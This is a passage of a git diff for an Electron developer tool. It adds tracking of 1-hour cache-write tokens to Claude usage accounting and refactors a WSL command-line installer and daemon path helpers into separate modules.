@@ -447,7 +494,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -472,7 +520,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         },
         {
           day: '2026-04-09',
@@ -486,7 +535,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 1_000_000,
           outputTokens: 1_000_000,
           cacheReadTokens: 1_000_000,
-          cacheWriteTokens: 1_000_000
+          cacheWriteTokens: 1_000_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -511,7 +561,8 @@ describe('ClaudeUsageStore', () => {
           inputTokens: 300_000,
           outputTokens: 300_000,
           cacheReadTokens: 300_000,
-          cacheWriteTokens: 300_000
+          cacheWriteTokens: 300_000,
+          cacheWrite1hTokens: 0
         }
       ]
     })
@@ -546,6 +597,7 @@ describe('ClaudeUsageStore', () => {
           totalOutputTokens: 500,
           totalCacheReadTokens: 200,
           totalCacheWriteTokens: 100,
+          totalCacheWrite1hTokens: 0,
           locationBreakdown: [
             {
               locationKey: `worktree:${worktreeId}`,
@@ -556,7 +608,8 @@ describe('ClaudeUsageStore', () => {
               inputTokens: 1000,
               outputTokens: 500,
               cacheReadTokens: 200,
-              cacheWriteTokens: 100
+              cacheWriteTokens: 100,
+              cacheWrite1hTokens: 0
             }
           ]
         }
diff --git a/src/main/claude-usage/store.ts b/src/main/claude-usage/store.ts
index 466b30571cb..921c09c8732 100644
--- a/src/main/claude-usage/store.ts
+++ b/src/main/claude-usage/store.ts
@@ -22,8 +22,9 @@ import { resolveAutomationRunUsage } from './claude-usage-automation-attribution
 
 // Why: v5 widens Claude ownership keys (message-id / uuid fallbacks). Older
 // caches either lack ownership or used narrower keys and can under/over-count
-// after fork reclaim (#8006).
-const SCHEMA_VERSION = 5
+// after fork reclaim (#8006). v6 adds the 1-hour cache-write split, which older
+// caches never recorded, so their cost estimates stay stuck at the 5m rate (#15993).
+const SCHEMA_VERSION = 6
 
 // Why: capture the path after configureDevUserDataPath() but before app.setName()
 // mutates Electron's derived userData location, matching the persistence/store pattern.
diff --git a/src/main/claude-usage/transcript-record-parser.ts b/src/main/claude-usage/transcript-record-parser.ts
index 50623fa295f..59b0e75be39 100644
--- a/src/main/claude-usage/transcript-record-parser.ts
+++ b/src/main/claude-usage/transcript-record-parser.ts
@@ -23,6 +23,11 @@ type ClaudeUsageSourceRecord = {
       output_tokens?: number
       cache_read_input_tokens?: number
       cache_creation_input_tokens?: number
+      /** TTL split of `cache_creation_input_tokens`; 1h writes bill at 2x base input. */
+      cache_creation?: {
+        ephemeral_5m_input_tokens?: number
+        ephemeral_1h_input_tokens?: number
+      }
     }
   }
 }
@@ -43,7 +48,8 @@ export function stripClaudeSourceMetadata(
     inputTokens: turn.inputTokens,
     outputTokens: turn.outputTokens,
     cacheReadTokens: turn.cacheReadTokens,
-    cacheWriteTokens: turn.cacheWriteTokens
+    cacheWriteTokens: turn.cacheWriteTokens,
+    cacheWrite1hTokens: turn.cacheWrite1hTokens
   }
 }
 
@@ -64,6 +70,7 @@ function dedupeClaudeUsageTurns(
         existing.outputTokens = Math.max(existing.outputTokens, turn.outputTokens)
         existing.cacheReadTokens = Math.max(existing.cacheReadTokens, turn.cacheReadTokens)
         existing.cacheWriteTokens = Math.max(existing.cacheWriteTokens, turn.cacheWriteTokens)
+        existing.cacheWrite1hTokens = Math.max(existing.cacheWrite1hTokens, turn.cacheWrite1hTokens)
         continue
       }
     }
@@ -101,6 +108,11 @@ function parseClaudeUsageSourceRecord(
   const outputTokens = usage?.output_tokens ?? 0
   const cacheReadTokens = usage?.cache_read_input_tokens ?? 0
   const cacheWriteTokens = usage?.cache_creation_input_tokens ?? 0
+  // Why: clamp so the implied 5m remainder can never go negative on a partial row.
+  const cacheWrite1hTokens = Math.min(
+    usage?.cache_creation?.ephemeral_1h_input_tokens ?? 0,
+    cacheWriteTokens
+  )
 
   if (inputTokens + outputTokens + cacheReadTokens + cacheWriteTokens <= 0) {
     return null
@@ -119,7 +131,8 @@ function parseClaudeUsageSourceRecord(
     inputTokens,
     outputTokens,
     cacheReadTokens,
-    cacheWriteTokens
+    cacheWriteTokens,
+    cacheWrite1hTokens
   }
 }
 
diff --git a/src/main/claude-usage/types.ts b/src/main/claude-usage/types.ts
index ec497e5e098..0a4d061c332 100644
--- a/src/main/claude-usage/types.ts
+++ b/src/main/claude-usage/types.ts
@@ -15,6 +15,7 @@ export type ClaudeUsageLocationBreakdown = {
   outputTokens: number
   cacheReadTokens: number
   cacheWriteTokens: number
+  cacheWrite1hTokens: number
 }
 
 export type ClaudeUsageSession = {
@@ -31,6 +32,7 @@ export type ClaudeUsageSession = {
   totalOutputTokens: number
   totalCacheReadTokens: number
   totalCacheWriteTokens: number
+  totalCacheWrite1hTokens: number
   locationBreakdown: ClaudeUsageLocationBreakdown[]
 }
 
@@ -47,6 +49,7 @@ export type ClaudeUsageDailyAggregate = {
   outputTokens: number
   cacheReadTokens: number
   cacheWriteTokens: number
+  cacheWrite1hTokens: number
 }
 
 export type ClaudeUsagePersistedState = {
@@ -86,6 +89,8 @@ export type ClaudeUsageParsedTurn = {
   outputTokens: number
   cacheReadTokens: number
   cacheWriteTokens: number
+  /** 1-hour-TTL subset of `cacheWriteTokens`; billed at 2x base input. */
+  cacheWrite1hTokens: number
 }
 
 export type ClaudeUsageAttributedTurn = ClaudeUsageParsedTurn & {
diff --git a/src/main/claude-usage/usage-aggregation.ts b/src/main/claude-usage/usage-aggregation.ts
index 5ead6af0177..7626845827a 100644
--- a/src/main/claude-usage/usage-aggregation.ts
+++ b/src/main/claude-usage/usage-aggregation.ts
@@ -30,6 +30,7 @@ export function mergeClaudeSessions(
     existing.totalOutputTokens += session.totalOutputTokens
     existing.totalCacheReadTokens += session.totalCacheReadTokens
     existing.totalCacheWriteTokens += session.totalCacheWriteTokens
+    existing.totalCacheWrite1hTokens += session.totalCacheWrite1hTokens
 
     for (const location of session.locationBreakdown) {
       const existingLocation =
@@ -41,6 +42,7 @@ export function mergeClaudeSessions(
         existingLocation.outputTokens += location.outputTokens
         existingLocation.cacheReadTokens += location.cacheReadTokens
         existingLocation.cacheWriteTokens += location.cacheWriteTokens
+        existingLocation.cacheWrite1hTokens += location.cacheWrite1hTokens
       } else {
         existing.locationBreakdown.push({ ...location })
       }
@@ -65,6 +67,7 @@ export function mergeClaudeDailyAggregates(
     existing.outputTokens += aggregate.outputTokens
     existing.cacheReadTokens += aggregate.cacheReadTokens
     existing.cacheWriteTokens += aggregate.cacheWriteTokens
+    existing.cacheWrite1hTokens += aggregate.cacheWrite1hTokens
   }
 }
 
@@ -113,6 +116,7 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
         totalOutputTokens: 0,
         totalCacheReadTokens: 0,
         totalCacheWriteTokens: 0,
+        totalCacheWrite1hTokens: 0,
         locationBreakdown: []
       })
     }
@@ -132,6 +136,7 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
     session.totalOutputTokens += turn.outputTokens
     session.totalCacheReadTokens += turn.cacheReadTokens
     session.totalCacheWriteTokens += turn.cacheWriteTokens
+    session.totalCacheWrite1hTokens += turn.cacheWrite1hTokens
 
     const location =
       session.locationBreakdown.find((entry) => entry.locationKey === turn.projectKey) ?? null
@@ -141,6 +146,7 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
       location.outputTokens += turn.outputTokens
       location.cacheReadTokens += turn.cacheReadTokens
       location.cacheWriteTokens += turn.cacheWriteTokens
+      location.cacheWrite1hTokens += turn.cacheWrite1hTokens
     } else {
       session.locationBreakdown.push({
         locationKey: turn.projectKey,
@@ -151,7 +157,8 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
         inputTokens: turn.inputTokens,
         outputTokens: turn.outputTokens,
         cacheReadTokens: turn.cacheReadTokens,
-        cacheWriteTokens: turn.cacheWriteTokens
+        cacheWriteTokens: turn.cacheWriteTokens,
+        cacheWrite1hTokens: turn.cacheWrite1hTokens
       })
     }
 
@@ -166,6 +173,7 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
       existingDaily.outputTokens += turn.outputTokens
       existingDaily.cacheReadTokens += turn.cacheReadTokens
       existingDaily.cacheWriteTokens += turn.cacheWriteTokens
+      existingDaily.cacheWrite1hTokens += turn.cacheWrite1hTokens
     } else {
       dailyByKey.set(dailyKey, {
         day: turn.day,
@@ -179,7 +187,8 @@ export function aggregateClaudeUsage(turns: ClaudeUsageAttributedTurn[]): {
         inputTokens: turn.inputTokens,
         outputTokens: turn.outputTokens,
         cacheReadTokens: turn.cacheReadTokens,
-        cacheWriteTokens: turn.cacheWriteTokens
+        cacheWriteTokens: turn.cacheWriteTokens,
+        cacheWrite1hTokens: turn.cacheWrite1hTokens
       })
     }
   }
diff --git a/src/main/cli/wsl-cli-installer.ts b/src/main/cli/wsl-cli-installer.ts
index 7c95be6431c..a3c102e1dfc 100644
--- a/src/main/cli/wsl-cli-installer.ts
+++ b/src/main/cli/wsl-cli-installer.ts
@@ -1,14 +1,10 @@
-/* eslint-disable max-lines -- Why: WSL CLI status/install/remove share one state machine;
-   splitting the installer would separate conflict checks from the operations they guard. */
 import type { CliInstallStatus } from '../../shared/cli-install-types'
 import { getDefaultWslDistro } from '../wsl'
 import { runWslProcess } from '../wsl/wsl-runner'
 import { CliInstaller } from './cli-installer'
 import {
   buildManagedLegacyRemoveCommand,
-  buildRegistrationLockPrelude,
   buildSafeRemoveCommand,
-  buildSafeReplaceGuard,
   buildWslBridgeScript,
   buildWslLauncher,
   getBridgePathFromCommandPath,
@@ -18,10 +14,11 @@ import {
   parseManagedLauncherTarget,
   quoteShell
 } from './wsl-cli-scripts'
+import { buildWslCliInstallCommand } from './wsl-cli-registration-command'
+import { buildWslCliStatus, readWslCliCommandFile, resolveReadyWslCliState } from './wsl-cli-status'
 
 const MANAGED_MARKER = getWslLauncherMarker()
 const BRIDGE_MANAGED_MARKER = getWslBridgeMarker()
-const WSL_COMMAND_NAME = 'orca-ide'
 const LEGACY_WSL_COMMAND_NAME = 'orca'
 const WSL_COMMAND_TIMEOUT_MS = 10_000
 
@@ -60,7 +57,12 @@ export class WslCliInstaller {
   }
 
   async getStatus(): Promise<CliInstallStatus> {
-    const ready = await this.resolveReadyState()
+    const ready = await resolveReadyWslCliState({
+      platform: this.platform,
+      distro: this.distro,
+      getHostStatus: () => this.hostInstaller.getStatus(),
+      run: (distro, command) => this.run(distro, command)
+    })
     if ('status' in ready) {
       return ready.status
     }
@@ -208,67 +210,13 @@ export class WslCliInstaller {
       throw new Error(`Refusing to replace non-Orca command at ${status.commandPath}.`)
     }
 
-    // Why: the launcher and PowerShell bridge are one registration; the
-    // command replacement stays a single atomic rename (never missing for a
-    // concurrent shell) while a bridge copy enables rollback of the pair.
     await this.run(
       this.distro as string,
-      [
-        // Why -eu not -euo pipefail: transported via runWslProcess's `sh -s`,
-        // and no pipe here needs pipefail -- dash on Ubuntu 20.04 lacks the option.
-        'set -eu',
-        `mkdir -p ${quoteShell(status.pathDirectory as string)}`,
-        `mkdir -p ${quoteShell(getPosixDirname(getBridgePathFromCommandPath(status.commandPath)))}`,
-        buildRegistrationLockPrelude(status.commandPath),
-        `command_tmp=${quoteShell(`${status.commandPath}.tmp`)}.$$`,
-        `bridge_path=${quoteShell(getBridgePathFromCommandPath(status.commandPath))}`,
-        `legacy_command_path=${quoteShell(
-          `${getPosixDirname(status.commandPath)}/${LEGACY_WSL_COMMAND_NAME}`
-        )}`,
-        'bridge_tmp="${bridge_path}.tmp.$$"',
-        'bridge_backup="${bridge_tmp}.backup"',
-        'bridge_had_original=0',
-        'bridge_touched=0',
-        'committed=0',
-        'rollback() {',
-        '  result=$?',
-        '  set +e',
-        '  if [ "$committed" -ne 1 ]; then',
-        `    if [ "$bridge_had_original" -eq 1 ]; then mv -f "$bridge_backup" ${quoteShell(getBridgePathFromCommandPath(status.commandPath))}; elif [ "$bridge_touched" -eq 1 ]; then rm -f ${quoteShell(getBridgePathFromCommandPath(status.commandPath))}; fi`,
-        '  fi',
-        '  rm -f "$command_tmp" "$bridge_tmp" "$bridge_backup"',
-        '  exit "$result"',
-        '}',
-        'trap rollback EXIT',
-        buildSafeReplaceGuard(status.commandPath, MANAGED_MARKER),
-        buildSafeReplaceGuard(
-          getBridgePathFromCommandPath(status.commandPath),
-          BRIDGE_MANAGED_MARKER
-        ),
-        `cat > "$command_tmp" <<'ORCA_WSL_CLI'`,
-        buildWslLauncher(status.launcherPath, getBridgePathFromCommandPath(status.commandPath)),
-        'ORCA_WSL_CLI',
-        `cat > "$bridge_tmp" <<'ORCA_WSL_BRIDGE'`,
-        buildWslBridgeScript(),
-        'ORCA_WSL_BRIDGE',
-        'chmod 755 "$command_tmp"',
-        'chmod 644 "$bridge_tmp"',
-        buildSafeReplaceGuard(status.commandPath, MANAGED_MARKER),
-        buildSafeReplaceGuard(
-          getBridgePathFromCommandPath(status.commandPath),
-          BRIDGE_MANAGED_MARKER
-        ),
-        `if [ -f ${quoteShell(getBridgePathFromCommandPath(status.commandPath))} ]; then cp -p ${quoteShell(getBridgePathFromCommandPath(status.commandPath))} "$bridge_backup"; bridge_had_original=1; fi`,
-        `mv -f "$bridge_tmp" ${quoteShell(getBridgePathFromCommandPath(status.commandPath))}`,
-        'bridge_touched=1',
-        `mv -f "$command_tmp" ${quoteShell(status.commandPath)}`,
-        'committed=1',
-        'rm -f "$bridge_backup"',
-        // Why: the command was renamed to avoid GNOME Orca; remove only the
-        // old Orca-managed WSL wrapper after the replacement has committed.
-        buildManagedLegacyRemoveCommand('"$legacy_command_path"'),
-        'trap - EXIT'
-      ].join('\n')
+      buildWslCliInstallCommand({
+        ...status,
+        commandPath: status.commandPath,
+        launcherPath: status.launcherPath
+      })
     )
     return this.getStatus()
   }
@@ -299,108 +247,15 @@ export class WslCliInstaller {
     return this.getStatus()
   }
 
-  private async resolveReadyState(): Promise<
-    | { status: CliInstallStatus }
-    | {
-        distro: string
-        commandPath: string
-        bridgePath: string
-        launcherPath: string
-        pathConfigured: boolean
-      }
-  > {
-    if (this.platform !== 'win32') {
-      return {
-        status: this.unsupported(
-          'platform_not_supported',
-          'WSL CLI registration is only available on Windows.'
-        )
-      }
-    }
-    if (!this.distro) {
-      return {
-        status: this.unsupported('platform_not_supported', 'No WSL distribution is available.')
-      }
-    }
-
-    const hostStatus = await this.hostInstaller.getStatus()
-    if (!hostStatus.launcherPath) {
-      return {
-        status: this.unsupported(
-          hostStatus.unsupportedReason ?? 'launcher_missing',
-          hostStatus.detail ?? 'The Windows Orca CLI launcher is missing.'
-        )
-      }
-    }
-
-    const home = (await this.run(this.distro, 'printf %s "$HOME"')).trim()
-    if (!home.startsWith('/')) {
-      return {
-        status: this.unsupported('launcher_missing', 'Unable to resolve the WSL home directory.')
-      }
-    }
-
-    const interopReady =
-      (
-        await this.run(
-          this.distro,
-          '{ command -v powershell.exe >/dev/null 2>&1 || [ -x /mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ]; } && command -v wslpath >/dev/null 2>&1 && printf yes || printf no'
-        )
-      ).trim() === 'yes'
-    if (!interopReady) {
-      return {
-        status: this.unsupported(
-          'launcher_missing',
-          'WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.'
-        )
-      }
-    }
-
-    const pathDirectory = `${home}/.local/bin`
-    // Why: matches the Linux CLI rename to `orca-ide` (avoids GNOME Orca conflict).
-    const commandPath = `${pathDirectory}/${WSL_COMMAND_NAME}`
-    const pathConfigured =
-      (
-        await this.run(
-          this.distro,
-          `case ":$PATH:" in *:${quoteShell(pathDirectory)}:*) printf yes ;; *) printf no ;; esac`
-        )
-      ).trim() === 'yes'
-
-    return {
-      distro: this.distro,
-      commandPath,
-      bridgePath: getBridgePathFromCommandPath(commandPath),
-      launcherPath: hostStatus.launcherPath,
-      pathConfigured
-    }
-  }
-
   private async readCommandFile(
     distro: string,
     commandPath: string
   ): Promise<(string & {}) | 'not_file' | null> {
-    const output = await this.run(
+    return readWslCliCommandFile(
+      (targetDistro, command) => this.run(targetDistro, command),
       distro,
-      [
-        `if [ -L ${quoteShell(commandPath)} ]; then`,
-        '  printf __ORCA_NOT_FILE__',
-        `elif [ ! -e ${quoteShell(commandPath)} ]; then`,
-        '  printf __ORCA_MISSING__',
-        `elif [ ! -f ${quoteShell(commandPath)} ]; then`,
-        '  printf __ORCA_NOT_FILE__',
-        'else',
-        `  cat ${quoteShell(commandPath)}`,
-        'fi'
-      ].join('\n')
+      commandPath
     )
-    if (output === '__ORCA_MISSING__') {
-      return null
-    }
-    if (output === '__ORCA_NOT_FILE__') {
-      return 'not_file'
-    }
-    return output
   }
 
   private buildStatus(args: {
@@ -412,43 +267,7 @@ export class WslCliInstaller {
     pathConfigured: boolean
     detail: string
   }): CliInstallStatus {
-    return {
-      platform: 'linux',
-      commandName: WSL_COMMAND_NAME,
-      commandPath: args.commandPath,
-      pathDirectory: getPosixDirname(args.commandPath),
-      pathConfigured: args.pathConfigured,
-      launcherPath: args.launcherPath,
-      installMethod: 'wrapper',
-      supported: true,
-      state: args.state,
-      currentTarget: args.currentTarget,
-      unsupportedReason: null,
-      detail:
-        args.state === 'installed' && !args.pathConfigured
-          ? `${args.commandPath} is registered, but ${getPosixDirname(args.commandPath)} is not on PATH in ${args.distro}.`
-          : args.detail
-    }
-  }
-
-  private unsupported(
-    unsupportedReason: NonNullable<CliInstallStatus['unsupportedReason']>,
-    detail: string
-  ): CliInstallStatus {
-    return {
-      platform: 'linux',
-      commandName: WSL_COMMAND_NAME,
-      commandPath: null,
-      pathDirectory: null,
-      pathConfigured: false,
-      launcherPath: null,
-      installMethod: null,
-      supported: false,
-      state: 'unsupported',
-      currentTarget: null,
-      unsupportedReason,
-      detail
-    }
+    return buildWslCliStatus(args)
   }
 
   private async run(distro: string, command: string): Promise<string> {
diff --git a/src/main/cli/wsl-cli-registration-command.ts b/src/main/cli/wsl-cli-registration-command.ts
new file mode 100644
index 00000000000..53d39eaec86
--- /dev/null
+++ b/src/main/cli/wsl-cli-registration-command.ts
@@ -0,0 +1,70 @@
+import type { CliInstallStatus } from '../../shared/cli-install-types'
+import {
+  buildManagedLegacyRemoveCommand,
+  buildRegistrationLockPrelude,
+  buildSafeReplaceGuard,
+  buildWslBridgeScript,
+  buildWslLauncher,
+  getBridgePathFromCommandPath,
+  getPosixDirname,
+  getWslBridgeMarker,
+  getWslLauncherMarker,
+  quoteShell
+} from './wsl-cli-scripts'
+
+const MANAGED_MARKER = getWslLauncherMarker()
+const BRIDGE_MANAGED_MARKER = getWslBridgeMarker()
+const LEGACY_WSL_COMMAND_NAME = 'orca'
+
+export function buildWslCliInstallCommand(
+  status: CliInstallStatus & { commandPath: string; launcherPath: string }
+): string {
+  const bridgePath = getBridgePathFromCommandPath(status.commandPath)
+  const legacyCommandPath = `${getPosixDirname(status.commandPath)}/${LEGACY_WSL_COMMAND_NAME}`
+  return [
+    // Why -eu not -euo pipefail: transported via runWslProcess's `sh -s`,
+    // and no pipe here needs pipefail -- dash on Ubuntu 20.04 lacks the option.
+    'set -eu',
+    `mkdir -p ${quoteShell(status.pathDirectory as string)}`,
+    `mkdir -p ${quoteShell(getPosixDirname(bridgePath))}`,
+    buildRegistrationLockPrelude(status.commandPath),
+    `command_tmp=${quoteShell(`${status.commandPath}.tmp`)}.$$`,
+    `bridge_path=${quoteShell(bridgePath)}`,
+    `legacy_command_path=${quoteShell(legacyCommandPath)}`,
+    'bridge_tmp="${bridge_path}.tmp.$$"',
+    'bridge_backup="${bridge_tmp}.backup"',
+    'bridge_had_original=0',
+    'bridge_touched=0',
+    'committed=0',
+    'rollback() {',
+    '  result=$?',
+    '  set +e',
+    '  if [ "$committed" -ne 1 ]; then',
+    `    if [ "$bridge_had_original" -eq 1 ]; then mv -f "$bridge_backup" ${quoteShell(bridgePath)}; elif [ "$bridge_touched" -eq 1 ]; then rm -f ${quoteShell(bridgePath)}; fi`,
+    '  fi',
+    '  rm -f "$command_tmp" "$bridge_tmp" "$bridge_backup"',
+    '  exit "$result"',
+    '}',
+    'trap rollback EXIT',
+    buildSafeReplaceGuard(status.commandPath, MANAGED_MARKER),
+    buildSafeReplaceGuard(bridgePath, BRIDGE_MANAGED_MARKER),
+    `cat > "$command_tmp" <<'ORCA_WSL_CLI'`,
+    buildWslLauncher(status.launcherPath, bridgePath),
+    'ORCA_WSL_CLI',
+    `cat > "$bridge_tmp" <<'ORCA_WSL_BRIDGE'`,
+    buildWslBridgeScript(),
+    'ORCA_WSL_BRIDGE',
+    'chmod 755 "$command_tmp"',
+    'chmod 644 "$bridge_tmp"',
+    buildSafeReplaceGuard(status.commandPath, MANAGED_MARKER),
+    buildSafeReplaceGuard(bridgePath, BRIDGE_MANAGED_MARKER),
+    `if [ -f ${quoteShell(bridgePath)} ]; then cp -p ${quoteShell(bridgePath)} "$bridge_backup"; bridge_had_original=1; fi`,
+    `mv -f "$bridge_tmp" ${quoteShell(bridgePath)}`,
+    'bridge_touched=1',
+    `mv -f "$command_tmp" ${quoteShell(status.commandPath)}`,
+    'committed=1',
+    'rm -f "$bridge_backup"',
+    buildManagedLegacyRemoveCommand('"$legacy_command_path"'),
+    'trap - EXIT'
+  ].join('\n')
+}
diff --git a/src/main/cli/wsl-cli-status.ts b/src/main/cli/wsl-cli-status.ts
new file mode 100644
index 00000000000..7661f402a45
--- /dev/null
+++ b/src/main/cli/wsl-cli-status.ts
@@ -0,0 +1,163 @@
+import type { CliInstallStatus } from '../../shared/cli-install-types'
+import { getBridgePathFromCommandPath, getPosixDirname, quoteShell } from './wsl-cli-scripts'
+
+const WSL_COMMAND_NAME = 'orca-ide'
+
+export type ReadyWslCliState = {
+  distro: string
+  commandPath: string
+  bridgePath: string
+  launcherPath: string
+  pathConfigured: boolean
+}
+
+export async function readWslCliCommandFile(
+  run: (distro: string, command: string) => Promise<string>,
+  distro: string,
+  commandPath: string
+): Promise<(string & {}) | 'not_file' | null> {
+  const output = await run(
+    distro,
+    [
+      `if [ -L ${quoteShell(commandPath)} ]; then`,
+      '  printf __ORCA_NOT_FILE__',
+      `elif [ ! -e ${quoteShell(commandPath)} ]; then`,
+      '  printf __ORCA_MISSING__',
+      `elif [ ! -f ${quoteShell(commandPath)} ]; then`,
+      '  printf __ORCA_NOT_FILE__',
+      'else',
+      `  cat ${quoteShell(commandPath)}`,
+      'fi'
+    ].join('\n')
+  )
+  if (output === '__ORCA_MISSING__') {
+    return null
+  }
+  if (output === '__ORCA_NOT_FILE__') {
+    return 'not_file'
+  }
+  return output
+}
+
+export function buildWslCliStatus(args: {
+  distro: string
+  commandPath: string
+  launcherPath: string
+  state: CliInstallStatus['state']
+  currentTarget: string | null
+  pathConfigured: boolean
+  detail: string
+}): CliInstallStatus {
+  return {
+    platform: 'linux',
+    commandName: WSL_COMMAND_NAME,
+    commandPath: args.commandPath,
+    pathDirectory: getPosixDirname(args.commandPath),
+    pathConfigured: args.pathConfigured,
+    launcherPath: args.launcherPath,
+    installMethod: 'wrapper',
+    supported: true,
+    state: args.state,
+    currentTarget: args.currentTarget,
+    unsupportedReason: null,
+    detail:
+      args.state === 'installed' && !args.pathConfigured
+        ? `${args.commandPath} is registered, but ${getPosixDirname(args.commandPath)} is not on PATH in ${args.distro}.`
+        : args.detail
+  }
+}
+
+export function unsupportedWslCliStatus(
+  unsupportedReason: NonNullable<CliInstallStatus['unsupportedReason']>,
+  detail: string
+): CliInstallStatus {
+  return {
+    platform: 'linux',
+    commandName: WSL_COMMAND_NAME,
+    commandPath: null,
+    pathDirectory: null,
+    pathConfigured: false,
+    launcherPath: null,
+    installMethod: null,
+    supported: false,
+    state: 'unsupported',
+    currentTarget: null,
+    unsupportedReason,
+    detail
+  }
+}
+
+export async function resolveReadyWslCliState(args: {
+  platform: NodeJS.Platform
+  distro: string | null
+  getHostStatus: () => Promise<CliInstallStatus>
+  run: (distro: string, command: string) => Promise<string>
+}): Promise<{ status: CliInstallStatus } | ReadyWslCliState> {
+  if (args.platform !== 'win32') {
+    return {
+      status: unsupportedWslCliStatus(
+        'platform_not_supported',
+        'WSL CLI registration is only available on Windows.'
+      )
+    }
+  }
+  if (!args.distro) {
+    return {
+      status: unsupportedWslCliStatus('platform_not_supported', 'No WSL distribution is available.')
+    }
+  }
+
+  const hostStatus = await args.getHostStatus()
+  if (!hostStatus.launcherPath) {
+    return {
+      status: unsupportedWslCliStatus(
+        hostStatus.unsupportedReason ?? 'launcher_missing',
+        hostStatus.detail ?? 'The Windows Orca CLI launcher is missing.'
+      )
+    }
+  }
+
+  const home = (await args.run(args.distro, 'printf %s "$HOME"')).trim()
+  if (!home.startsWith('/')) {
+    return {
+      status: unsupportedWslCliStatus(
+        'launcher_missing',
+        'Unable to resolve the WSL home directory.'
+      )
+    }
+  }
+
+  const interopReady =
+    (
+      await args.run(
+        args.distro,
+        '{ command -v powershell.exe >/dev/null 2>&1 || [ -x /mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe ]; } && command -v wslpath >/dev/null 2>&1 && printf yes || printf no'
+      )
+    ).trim() === 'yes'
+  if (!interopReady) {
+    return {
+      status: unsupportedWslCliStatus(
+        'launcher_missing',
+        'WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.'
+      )
+    }
+  }
+
+  const pathDirectory = `${home}/.local/bin`
+  const commandPath = `${pathDirectory}/${WSL_COMMAND_NAME}`
+  const pathConfigured =
+    (
+      await args.run(
+        args.distro,
+        `case ":$PATH:" in *:${quoteShell(pathDirectory)}:*) printf yes ;; *) printf no ;; esac`
+      )
+    ).trim() === 'yes'
+
+  return {
+    distro: args.distro,
+    commandPath,
+    bridgePath: getBridgePathFromCommandPath(commandPath),
+    launcherPath: hostStatus.launcherPath,
+    pathConfigured
+  }
+}
diff --git a/src/main/daemon/daemon-init.ts b/src/main/daemon/daemon-init.ts
index 77edbed6027..0c09836f7fe 100644
--- a/src/main/daemon/daemon-init.ts
+++ b/src/main/daemon/daemon-init.ts
@@ -1,11 +1,9 @@
 /* eslint-disable max-lines -- Why: owns the full daemon lifecycle (init, launch, adapter wiring,
 restart, teardown); the "swap the provider atomically" invariant keeps restart + singletons co-located. */
-import { join } from 'node:path'
 import { randomUUID } from 'node:crypto'
 import { getAppEnvironment } from '../../shared/app-environment'
-import { mkdirSync, existsSync, readFileSync, unlinkSync } from 'node:fs'
+import { readFileSync, unlinkSync } from 'node:fs'
 import { fork, type ChildProcess } from 'node:child_process'
-import { connect } from 'node:net'
 import {
   DaemonSpawner,
   getDaemonPidPath,
@@ -52,13 +50,21 @@ import {
   rebindLocalProviderListeners
 } from '../ipc/pty'
 import { isStartupDiagnosticsEnabled, logStartupDiagnostic } from '../startup/startup-diagnostics'
-import { getDaemonLogFilePath } from '../observability/logs-directory'
 import {
   confirmSeededClaudeLivePtys,
   hasSeededUnconfirmedClaudePtys
 } from '../claude-accounts/live-pty-gate'
 import { parseDaemonReadyIdentity, readDaemonProcessIncarnation } from './daemon-ready-identity'
 import type { DaemonEndpointIdentity } from './daemon-hello-protocol'
+import {
+  daemonLogArgs,
+  getAliveDaemonSessionCount,
+  getDaemonEntryPath,
+  getDaemonHistoryDir as getHistoryDir,
+  getDaemonRuntimeDir as getRuntimeDir,
+  probeDaemonSocket as probeSocket,
+  resolvePackagedDarwinAppVersion
+} from './daemon-launch-paths'
 
 // Why: daemon init runs concurrent with window load, so an in-process t timestamp (not harness stderr timing) measures cold-start.
 function logDaemonMilestone(event: string, details: Record<string, unknown> = {}): void {
@@ -101,105 +107,6 @@ let adapter: DaemonProvider | null = null
 // Why: coalesce concurrent restartDaemon() calls so two entries can't race the 7-step sequence against a half-spawned replacement.
 let restartInFlight: Promise<RestartDaemonResult> | null = null
 
-function getRuntimeDir(): string {
-  const dir = join(getAppEnvironment().getPath('userData'), 'daemon')
-  mkdirSync(dir, { recursive: true })
-  return dir
-}
-
-function getHistoryDir(): string {
-  const dir = join(getAppEnvironment().getPath('userData'), 'terminal-history')
-  mkdirSync(dir, { recursive: true })
-  return dir
-}
-
-function getDaemonEntryPath(): string {
-  const appPath = getAppEnvironment().getAppPath()
-  // Why: packaged getAppPath() points at app.asar, so redirect to app.asar.unpacked where daemon-entry.js is fork-executable.
-  // Why asar and not isPackaged: orcad is a packaged non-Electron host whose bundle root holds
-  // orcad.js and daemon-entry.js side by side with no asar to redirect (see parcel-watcher-entry-path.ts).
-  const basePath = appPath.includes('app.asar')
-    ? appPath.replace('app.asar', 'app.asar.unpacked')
-    : appPath
-  const directEntryPath = join(basePath, 'daemon-entry.js')
-  if (existsSync(directEntryPath)) {
-    return directEntryPath
-  }
-  return join(basePath, 'out', 'main', 'daemon-entry.js')
-}
-
-// macOS TCC attribution pins the daemon to a packaged app bundle; there is none on a Node host.
-function resolvePackagedDarwinAppVersion(): string | null {
-  const environment = getAppEnvironment()
-  return process.platform === 'darwin' && environment.isPackaged() ? environment.getVersion() : null
-}
-
-// Why: pass a log-file arg so field failures are diagnosable, but honor the ORCA_DIAGNOSTICS_DISABLED privacy switch.
-function daemonLogArgs(): string[] {
-  const disabled = (process.env.ORCA_DIAGNOSTICS_DISABLED ?? '').trim().toLowerCase()
-  if (disabled === '1' || disabled === 'true') {
-    return []
-  }
